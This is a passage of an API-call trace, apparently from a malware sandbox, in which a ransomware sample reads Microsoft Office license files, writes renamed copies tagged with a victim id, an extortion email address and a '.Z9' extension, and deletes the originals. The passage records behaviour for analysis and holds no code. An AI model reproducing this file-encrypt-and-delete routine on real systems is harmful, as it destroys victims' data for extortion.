	[0183.898] SetEndOfFile (hFile=0x36c) returned 1
	[0183.902] CloseHandle (hObject=0x36c) returned 1
	[0183.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ppd.xrm-ms")) returned 1
	[0183.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.903] lstrlenW (lpString=".doc") returned 4
	[0183.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.903] lstrlenW (lpString=".docx") returned 5
	[0183.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.903] lstrlenW (lpString=".pdf") returned 4
	[0183.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.903] lstrlenW (lpString=".xls") returned 4
	[0183.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.903] lstrlenW (lpString=".xlsx") returned 5
	[0183.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.903] lstrlenW (lpString=".ppt") returned 4
	[0183.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString=".zip") returned 4
	[0183.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".rar") returned 4
	[0183.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".bz2") returned 4
	[0183.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".7z") returned 3
	[0183.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString=".dbf") returned 4
	[0183.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString=".1cd") returned 4
	[0183.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString=".jpg") returned 4
	[0183.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.904] lstrlenW (lpString=".doc") returned 4
	[0183.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".docx") returned 5
	[0183.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.904] lstrlenW (lpString=".pdf") returned 4
	[0183.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".xls") returned 4
	[0183.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.904] lstrlenW (lpString=".xlsx") returned 5
	[0183.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.904] lstrlenW (lpString=".ppt") returned 4
	[0183.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.905] lstrlenW (lpString=".zip") returned 4
	[0183.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString=".rar") returned 4
	[0183.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString=".bz2") returned 4
	[0183.905] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString=".7z") returned 3
	[0183.905] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.905] lstrlenW (lpString=".dbf") returned 4
	[0183.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.905] lstrlenW (lpString=".1cd") returned 4
	[0183.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ppd.xrm-ms") returned 74
	[0183.905] lstrlenW (lpString=".jpg") returned 4
	[0183.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.905] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27
	[0183.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.906] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11574) returned 1
	[0183.906] CloseHandle (hObject=0x36c) returned 1
	[0183.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220
	[0183.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.907] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.907] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.908] GetLastError () returned 0x0
	[0183.908] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d36, lpOverlapped=0x0) returned 1
	[0184.026] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0184.028] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.028] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10a, lpOverlapped=0x0) returned 1
	[0184.028] SetEndOfFile (hFile=0x538) returned 1
	[0184.028] CloseHandle (hObject=0x538) returned 1
	[0184.028] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.028] SetEndOfFile (hFile=0x36c) returned 1
	[0184.031] CloseHandle (hObject=0x36c) returned 1
	[0184.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString=".doc") returned 4
	[0184.077] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".docx") returned 5
	[0184.077] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.077] lstrlenW (lpString=".pdf") returned 4
	[0184.077] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".xls") returned 4
	[0184.077] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".xlsx") returned 5
	[0184.077] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.077] lstrlenW (lpString=".ppt") returned 4
	[0184.077] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString=".zip") returned 4
	[0184.077] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".rar") returned 4
	[0184.077] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".bz2") returned 4
	[0184.077] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString=".7z") returned 3
	[0184.077] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString=".dbf") returned 4
	[0184.077] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString=".1cd") returned 4
	[0184.077] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.077] lstrlenW (lpString=".jpg") returned 4
	[0184.078] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString=".doc") returned 4
	[0184.078] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".docx") returned 5
	[0184.078] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.078] lstrlenW (lpString=".pdf") returned 4
	[0184.078] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".xls") returned 4
	[0184.078] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".xlsx") returned 5
	[0184.078] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.078] lstrlenW (lpString=".ppt") returned 4
	[0184.078] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString=".zip") returned 4
	[0184.078] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".rar") returned 4
	[0184.078] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".bz2") returned 4
	[0184.078] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString=".7z") returned 3
	[0184.078] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString=".dbf") returned 4
	[0184.078] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString=".1cd") returned 4
	[0184.078] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77
	[0184.078] lstrlenW (lpString=".jpg") returned 4
	[0184.078] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.079] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.079] lstrlenW (lpString="MondoR_SubTest-ul-oob.xrm-ms") returned 28
	[0184.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.079] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11591) returned 1
	[0184.080] CloseHandle (hObject=0x55c) returned 1
	[0184.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 0x220
	[0184.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.080] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.080] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0184.081] GetLastError () returned 0x0
	[0184.081] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d47, lpOverlapped=0x0) returned 1
	[0184.088] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0184.089] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.089] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10c, lpOverlapped=0x0) returned 1
	[0184.089] SetEndOfFile (hFile=0x538) returned 1
	[0184.089] CloseHandle (hObject=0x538) returned 1
	[0184.089] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.089] SetEndOfFile (hFile=0x55c) returned 1
	[0184.092] CloseHandle (hObject=0x55c) returned 1
	[0184.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1
	[0184.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.093] lstrlenW (lpString=".doc") returned 4
	[0184.093] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.093] lstrlenW (lpString=".docx") returned 5
	[0184.093] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.093] lstrlenW (lpString=".pdf") returned 4
	[0184.093] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.093] lstrlenW (lpString=".xls") returned 4
	[0184.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".xlsx") returned 5
	[0184.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.094] lstrlenW (lpString=".ppt") returned 4
	[0184.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString=".zip") returned 4
	[0184.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".rar") returned 4
	[0184.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".bz2") returned 4
	[0184.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".7z") returned 3
	[0184.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString=".dbf") returned 4
	[0184.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString=".1cd") returned 4
	[0184.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString=".jpg") returned 4
	[0184.094] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.094] lstrlenW (lpString=".doc") returned 4
	[0184.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".docx") returned 5
	[0184.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.094] lstrlenW (lpString=".pdf") returned 4
	[0184.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".xls") returned 4
	[0184.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.094] lstrlenW (lpString=".xlsx") returned 5
	[0184.095] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.095] lstrlenW (lpString=".ppt") returned 4
	[0184.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.095] lstrlenW (lpString=".zip") returned 4
	[0184.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString=".rar") returned 4
	[0184.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString=".bz2") returned 4
	[0184.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString=".7z") returned 3
	[0184.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.095] lstrlenW (lpString=".dbf") returned 4
	[0184.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.095] lstrlenW (lpString=".1cd") returned 4
	[0184.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78
	[0184.095] lstrlenW (lpString=".jpg") returned 4
	[0184.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.095] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.095] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25
	[0184.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.096] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11151) returned 1
	[0184.096] CloseHandle (hObject=0x55c) returned 1
	[0184.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220
	[0184.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0184.097] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.097] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0184.098] GetLastError () returned 0x0
	[0184.098] ReadFile (in: hFile=0x55c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2b8f, lpOverlapped=0x0) returned 1
	[0184.100] WriteFile (in: hFile=0x538, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2b90, lpOverlapped=0x0) returned 1
